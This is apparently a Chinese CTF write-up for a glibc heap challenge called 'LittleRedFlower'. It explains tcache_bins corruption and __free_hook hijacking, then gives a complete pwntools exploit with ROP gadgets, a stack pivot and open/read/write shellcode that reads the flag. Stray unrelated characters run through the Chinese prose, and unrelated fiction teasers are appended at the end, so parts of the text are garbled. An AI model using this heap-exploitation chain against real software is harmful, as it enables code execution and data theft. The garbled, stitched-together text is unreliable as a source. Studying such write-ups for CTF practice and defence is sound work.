LittleRedFlower

分析

本題開(kāi)局開(kāi)了沙盒禁用了execve较沪,給了libc,并且可以向任意地址寫(xiě)一個(gè)字節(jié)鳞绕,這就給了我們很大的操作空間,然后會(huì)申請(qǐng)一個(gè)0x200的堆塊尸曼,然后會(huì)根據(jù)我們輸入的offset向堆塊地址+offset出寫(xiě)入8字節(jié)们何,offset可以很大,然后會(huì)根據(jù)我們輸入的size申請(qǐng)一個(gè)堆塊并輸入content,最后free掉堆塊控轿。

思路

在13:00的時(shí)候放了hint: 試試看打TCACHE_MAX_BINS

根據(jù)提示我們?cè)谠创a中搜索TCACHE_MAX_BINS可以看到




從這里可以看到問(wèn)題所在冤竹,TCACHE_MAX_BINS原值大小為0x40,假設(shè)我們將TCACHE_MAX_BINS(即mp_.tcache_bins)值劫持成一個(gè)很大的數(shù)茬射,那在調(diào)用tcache_get根據(jù)tc_idx索引取堆塊時(shí)就會(huì)超過(guò)原來(lái)的范圍向下取堆塊鹦蠕,假設(shè)entries[tc_idx]恰好又不為0此似乎便會(huì)將起返回

具體做法

首先開(kāi)局的任意地址寫(xiě)我們可以將mp_.bins劫持成一個(gè)大數(shù),此時(shí)可以認(rèn)為tcache_tries數(shù)組已經(jīng)擴(kuò)大了范圍在抛,(實(shí)際上我們可以將其比喻成global_max_bins或許會(huì)比較好理解)然后我們向?qū)?yīng)偏移處寫(xiě)入我們想要申請(qǐng)的地址钟病,在后面申請(qǐng)堆塊的時(shí)候便會(huì)根據(jù)索引取出我們的堆塊,具體的offset和申請(qǐng)的size大小需要根據(jù)調(diào)試來(lái)進(jìn)行調(diào)整刚梭,這里我們選擇劫持free_hook進(jìn)行棧遷移來(lái)orw出flag

完整exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#__Author__ = Cnitlrt
#context.log_level = 'debug'

binary = '2'
elf = ELF('2')
libc = elf.libc
context.binary = binary

DEBUG = 1
if DEBUG:
  p = process(binary)
else:
  host = "node3.buuoj.cn"
  port =  29236
  p = remote(host,port)
if DEBUG == 2:
  host = ""
  port = 0
  user = ""
  passwd = ""
  p = ssh(host,port,user,passwd)
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
ru("0x")
libc_base = int(p.recv(12),16)-libc.sym["_IO_2_1_stdout_"]
lg("libc_base",libc_base)
gadget = 0x0000000000034fd5#: mov rax, dword ptr [rdi + 0x20]; mov rbp, rdi; test rax, rax; je 0x34fe3; call rax; 
poprdi = 0x0000000000026bb2+libc_base
poprsp = 0x0000000000032c5a+libc_base
poprax = 0x0000000000028ff4+libc_base
syscall = 0x0000000000066199+libc_base
pop3r = 0x00000000000e6ce5+libc_base
poprsi = 0x000000000002709c+libc_base
poprdx2 = 0x000000000011c3b1+libc_base
leaver = 0x000000000005a9a8+libc_base
free_hook1 =  (libc_base+libc.sym["__free_hook"]) & 0xfffffffffffff000
addr = 0x1ea2d1+libc_base #mp_.tcache_bins
"""
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk                
0x557aab5d6000      0x0                 0x290                Used                None              None
0x557aab5d6290      0x0                 0x210                Used                None              None
gdb-peda$ find 0x557aab5d6000
Searching for '0x557aab5d6000' in: None ranges
Found 3 results, display max 3 items:
libc.so.6 : 0x7fbc017d82c8 --> 0x557aab5d6000 --> 0x0 
   mapped : 0x7fbc0180f110 --> 0x557aab5d6000 --> 0x0 
  [stack] : 0x7fff6e7291f0 --> 0x557aab5d6000 --> 0x0 
gdb-peda$ x/gx 0x7fbc017d82c8+0x8
0x7fbc017d82d0 <mp_+80>:    0x0000000000000040
gdb-peda$ 
"""
gdb.attach(p)
#---------step1:write a bit anywhere-----
p.recv()
p.send(p64(addr))
p.recv()
p.send(p8(0xff))
#--------step2:hijack free_hook------
p.recv()
p.sendline(str(0x9e8))
p.recv()
p.send(p64(libc_base+libc.sym["__free_hook"]-0xa0))
p.recv()
p.sendline(str(0x1800))

payload = p64(0)+p64(pop3r)+p64(0)*2+p64(leaver)
payload += p64(poprdi)+p64(0)+p64(poprsi)+p64(free_hook1)
payload += p64(poprdx2)+p64(0x1000)*2+p64(poprax)+p64(0)
payload += p64(syscall)
payload += p64(poprsp)+p64(free_hook1)
payload = payload.ljust(0xa0,"\x00")
# print len(payload)
payload += p64(libc_base+gadget)
#--------step3:ORW-flag
p.recv()
p.sendline(payload)
payload = [poprdi,free_hook1,poprsi,0x2000,poprdx2,7,7,poprax,10,syscall,free_hook1+0x70]
sc = shellcraft.open("flag",0);
sc += shellcraft.read("rax",free_hook1+0x300,0x100)
sc += shellcraft.write(1,free_hook1+0x300,0x100)
# gdb.attach(p)
p.sendline(flat(payload).ljust(0x70,"\x90")+asm(sc))
p.interactive()
tips

其中mp._tcache_bins可以這樣找


?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末档悠,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子望浩,更是在濱河造成了極大的恐慌辖所,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,682評(píng)論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件磨德,死亡現(xiàn)場(chǎng)離奇詭異缘回,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)典挑,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,277評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門酥宴,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人您觉,你說(shuō)我怎么就攤上這事拙寡。” “怎么了琳水?”我有些...
    開(kāi)封第一講書(shū)人閱讀 165,083評(píng)論 0 355
  • 文/不壞的土叔 我叫張陵肆糕,是天一觀的道長(zhǎng)般堆。 經(jīng)常有香客問(wèn)我,道長(zhǎng)诚啃,這世上最難降的妖魔是什么淮摔? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,763評(píng)論 1 295
  • 正文 為了忘掉前任,我火速辦了婚禮始赎,結(jié)果婚禮上和橙,老公的妹妹穿的比我還像新娘。我一直安慰自己造垛,他們只是感情好魔招,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,785評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著五辽,像睡著了一般仆百。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上奔脐,一...
    開(kāi)封第一講書(shū)人閱讀 51,624評(píng)論 1 305
  • 那天俄周,我揣著相機(jī)與錄音,去河邊找鬼髓迎。 笑死峦朗,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的排龄。 我是一名探鬼主播波势,決...
    沈念sama閱讀 40,358評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼橄维!你這毒婦竟也來(lái)了尺铣?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 39,261評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤争舞,失蹤者是張志新(化名)和其女友劉穎凛忿,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體竞川,經(jīng)...
    沈念sama閱讀 45,722評(píng)論 1 315
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡店溢,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,900評(píng)論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了委乌。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片床牧。...
    茶點(diǎn)故事閱讀 40,030評(píng)論 1 350
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖遭贸,靈堂內(nèi)的尸體忽然破棺而出戈咳,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 35,737評(píng)論 5 346
  • 正文 年R本政府宣布著蛙,位于F島的核電站删铃,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏册踩。R本人自食惡果不足惜泳姐,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,360評(píng)論 3 330
  • 文/蒙蒙 一效拭、第九天 我趴在偏房一處隱蔽的房頂上張望暂吉。 院中可真熱鬧,春花似錦缎患、人聲如沸慕的。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,941評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)肮街。三九已至,卻和暖如春判导,著一層夾襖步出監(jiān)牢的瞬間嫉父,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,057評(píng)論 1 270
  • 我被黑心中介騙來(lái)泰國(guó)打工眼刃, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留绕辖,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,237評(píng)論 3 371
  • 正文 我出身青樓擂红,卻偏偏與公主長(zhǎng)得像仪际,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子昵骤,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,976評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容